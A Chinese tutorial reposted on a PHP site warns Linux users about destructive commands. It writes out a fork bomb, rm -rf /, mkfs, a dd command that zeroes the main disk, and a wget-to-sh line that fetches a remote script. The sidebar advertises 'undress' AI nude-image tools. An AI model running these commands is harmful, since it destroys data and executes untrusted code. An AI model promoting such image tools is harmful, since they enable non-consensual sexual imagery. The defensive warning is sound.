Table of Contents
9个必须时刻警惕的PHP命令&代码
Home php教程 php手册 9个必须时刻警惕的PHP命令&代码

9个必须时刻警惕的PHP命令&代码

Jun 13, 2016 am 09:20 AM
programmer

9个必须时刻警惕的PHP命令&代码

Linux shell/terminal命令非常强大,即使一个简单的命令就可能导致文件夹、文件或者路径文件夹等被删除。

在一些情况下,Linux甚至不会询问你而直接执行命令,导致你丢失各种数据信息。

一般来说在Web上推荐新的Linux用户执行这些命令,当然,也有人哪些写过这代码的人不这么想,因为这玩意你一写下去就不是玩笑了。

这里我收集了一些对系统有危害的Linux代码,帮助你避免他们。请记住:这些代码非常危险,甚至可以经过修改,变得更加有危害性。

还有一些事情需要注意:一些命令只在Ubuntu中有sudo前缀时是有危害的。其他发行版本的Linux,则是在作为根目录命令时会有危害。

1. Linux Fork Bomb Command

:(){ :|: & };: 以Fork Bomb闻名,是一个拒绝服务攻击 的Linux 系统。:(){ :|: & };: 是一个bash函数。只要被执行,他会不断重复,直到系统被冻结。

你只能重启系统解决这个问题。所以当你在Linux界面执行这个命令时一定要注意。

2. Mv Folder/Dev/Null Command

mv folder/dev/null 也是一个危险的命令。Dev/null 或者 null device 是一个删除所有写在这个设备文件上数据的设备文件,但是,该操作提示却是写入操作执行成功。这就是我们常说的bit bucked 或者 black hole。

3. Rm -Rf Command

rm -rf命令在Linux系统中可以快速删除文件夹及其内容。如果,你不知道如何正确使用它,你就只有哭了。

列下m-rf 命令最常见的组合和选择:

  • rm command :删除Linux系统的文件
  • rm -f command:不需提示,删除文件中的只读文件
  • rm -r command 循环删除文件夹的内容
  • rm -d command :删除空目录,如果非空目录则不会执行该操作
  • rm -rf/ command:强制删除根目录中的所有内容和子文件夹包括写保护文件)命令。
  • rm -rf* command :强制删除当前目录中的所有内容当前工作目录)和字文件夹
  • rm -rf. command:强制删除当前文件夹目录/子目录中的所有内容 。同rm -r.[^.]*

The rm -r.[^.]* command :删除文件及文件夹,带有删除提示

4. Mkfs Command

如果你不知mkfs的作用,那么它也是一个危险的命令,mkfs之后写的任何命令都将会被一个空白的linux文件系统格式化、替代。

下面列举出需要管理员权限,格式化硬盘的命令:

  • mkfs
  • mkfs.ext3
  • mkfs.bfs
  • mkfs.ext2
  • mkfs.minix
  • mkfs.msdos mkfs.reiserfs
  • mkfs.vfat

mkfs.cramfs也可以和上面的代码做同样的事情,不过不需要管理源权限。

5. Tar Bomb

tar命令用于将多个文件以.tar格式放入一个文件中存档文件)。Tape Archive (Tar) bomb可以由他创建。

当为压缩时,就是这个存档文件生成数以万计的相似名称文件出现在当前目录中而不是新目录。

当收到tar文件,定期创建一个新的保护目录,然后在解压前将接受的tar文件放到这个目录中,你可以避免成为tar bomb的受害者。

6. Dd Command

Dd命令用于复制&改变硬盘分区。如果,你用错地方了,那么也很危险。

下面列举dd命令:

  • dd if=/dev/hda of=/dev/hdb
  • dd if=/dev/hda of=/dev/sdb
  • dd if=something of=/dev/hda
  • dd if=something of=/dev/sda

下面这个命令会将整个主硬盘清零:dd if=/dev/zero of=/dev/had

7. Shell Script Code

有时候,你可能会被人坑,给你一个shell脚本文件,让你去下载并执行它。该脚本可能会包含一些恶意的或危险的代码。命令形式可能会是这样:wget http://some_malicious_source -O- | sh。 wget将会在sh狭隘脚本时下载脚本。

8. Malicious Source Code

也许有人会给你源代码让你编译他。代码可能是正常代码,不过,有一些恶意代码伪装在大型源代码中,如果是这样,你的系统就中枪了。如何避免?仅接受并编译可信赖来源的源代码。

9. Decompression Bomb

你已经收到一个压缩文件,你被要求提取这个看起来很小的文件,可能小到KB。事实上,该小尺寸的压缩文件包含高度压缩数据。

只要文件解压,上百GB数据会被提取,这时候,过大的数据填满硬盘导致宕机,几率就很大了。如何避免?还是那句老话,别手贱,什么文件都去接收,请接收可信任来源文件。

 

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)
2 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island Adventure: How To Get Giant Seeds
1 months ago By 尊渡假赌尊渡假赌尊渡假赌
Two Point Museum: All Exhibits And Where To Find Them
1 months ago By 尊渡假赌尊渡假赌尊渡假赌

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

Which AI programmer is the best? Explore the potential of Devin, Tongyi Lingma and SWE-agent Which AI programmer is the best? Explore the potential of Devin, Tongyi Lingma and SWE-agent Apr 07, 2024 am 09:10 AM

On March 3, 2022, less than a month after the birth of the world's first AI programmer Devin, the NLP team of Princeton University developed an open source AI programmer SWE-agent. It leverages the GPT-4 model to automatically resolve issues in GitHub repositories. SWE-agent's performance on the SWE-bench test set is similar to Devin, taking an average of 93 seconds and solving 12.29% of the problems. By interacting with a dedicated terminal, SWE-agent can open and search file contents, use automatic syntax checking, edit specific lines, and write and execute tests. (Note: The above content is a slight adjustment of the original content, but the key information in the original text is retained and does not exceed the specified word limit.) SWE-A

Revealing the appeal of C language: Uncovering the potential of programmers Revealing the appeal of C language: Uncovering the potential of programmers Feb 24, 2024 pm 11:21 PM

The Charm of Learning C Language: Unlocking the Potential of Programmers With the continuous development of technology, computer programming has become a field that has attracted much attention. Among many programming languages, C language has always been loved by programmers. Its simplicity, efficiency and wide application make learning C language the first step for many people to enter the field of programming. This article will discuss the charm of learning C language and how to unlock the potential of programmers by learning C language. First of all, the charm of learning C language lies in its simplicity. Compared with other programming languages, C language

Make money by taking on private jobs! A complete list of order-taking platforms for programmers in 2023! Make money by taking on private jobs! A complete list of order-taking platforms for programmers in 2023! Jan 09, 2023 am 09:50 AM

Last week we did a public welfare live broadcast about "2023PHP Entrepreneurship". Many students asked about specific order-taking platforms. Below, php Chinese website has compiled 22 relatively reliable platforms for reference!

2023过年,又限制放烟花?程序猿有办法! 2023过年,又限制放烟花?程序猿有办法! Jan 20, 2023 pm 02:57 PM

本篇文章给大家介绍如何用前端代码实现一个烟花绽放的绚烂效果,其实主要就是用前端三剑客来实现,也就是HTML+CSS+JS,下面一起来看一下,作者会解说相应的代码,希望对需要的朋友有所帮助。

what do programmers do what do programmers do Aug 03, 2019 pm 01:40 PM

Programmer's job responsibilities: 1. Responsible for the detailed design, coding and organization and implementation of internal testing of software projects; 2. Assist project managers and related personnel to communicate with customers and maintain good customer relationships; 3. Participate in demand research and project feasibility performance analysis, technical feasibility analysis and demand analysis; 4. Familiar with and proficient in the relevant software technologies for delivering software projects developed by the software department; 5. Responsible for timely feedback on software development situations to the project manager; 6. Participate in software development and maintenance Solve major technical problems during the process; 7. Responsible for the formulation of relevant technical documents, etc.

520 programmers' exclusive way to express romantic feelings! Can't refuse! 520 programmers' exclusive way to express romantic feelings! Can't refuse! May 19, 2022 pm 03:07 PM

520 is approaching, and he is here again for the annual show of tormenting dogs! Want to see how the most rational code and the most romantic confession can collide? Let’s take you through the most complete and complete advertising code one by one to see if the romance of programmers can capture the hearts of your goddesses?

A brief analysis of how to download and install historical versions of VSCode A brief analysis of how to download and install historical versions of VSCode Apr 17, 2023 pm 07:18 PM

Download and install historical versions of VSCode VSCode installation download installation reference VSCode installation Windows version: Windows10 VSCode version: VScode1.65.0 (64-bit User version) This article

List of the best Windows 11 terminal emulators in 2022: Top 15 recommendations List of the best Windows 11 terminal emulators in 2022: Top 15 recommendations Apr 24, 2023 pm 04:31 PM

Terminal emulators allow you to emulate the functionality of a standard computer terminal. With it, you can perform data transfers and access another computer remotely. When combined with advanced operating systems like Windows 11, the creative possibilities of these tools are endless. However, there are many third-party terminal emulators available. Therefore, it is difficult to choose the right one. But, just as we do with the must-have Windows 11 apps, we've selected the best Terminals you can use and increase your productivity. How do we choose the best Windows 11 terminal emulator? Before selecting the tools on this list, our team of experts first tested them for compatibility with Windows 11. We also checked them

See all articles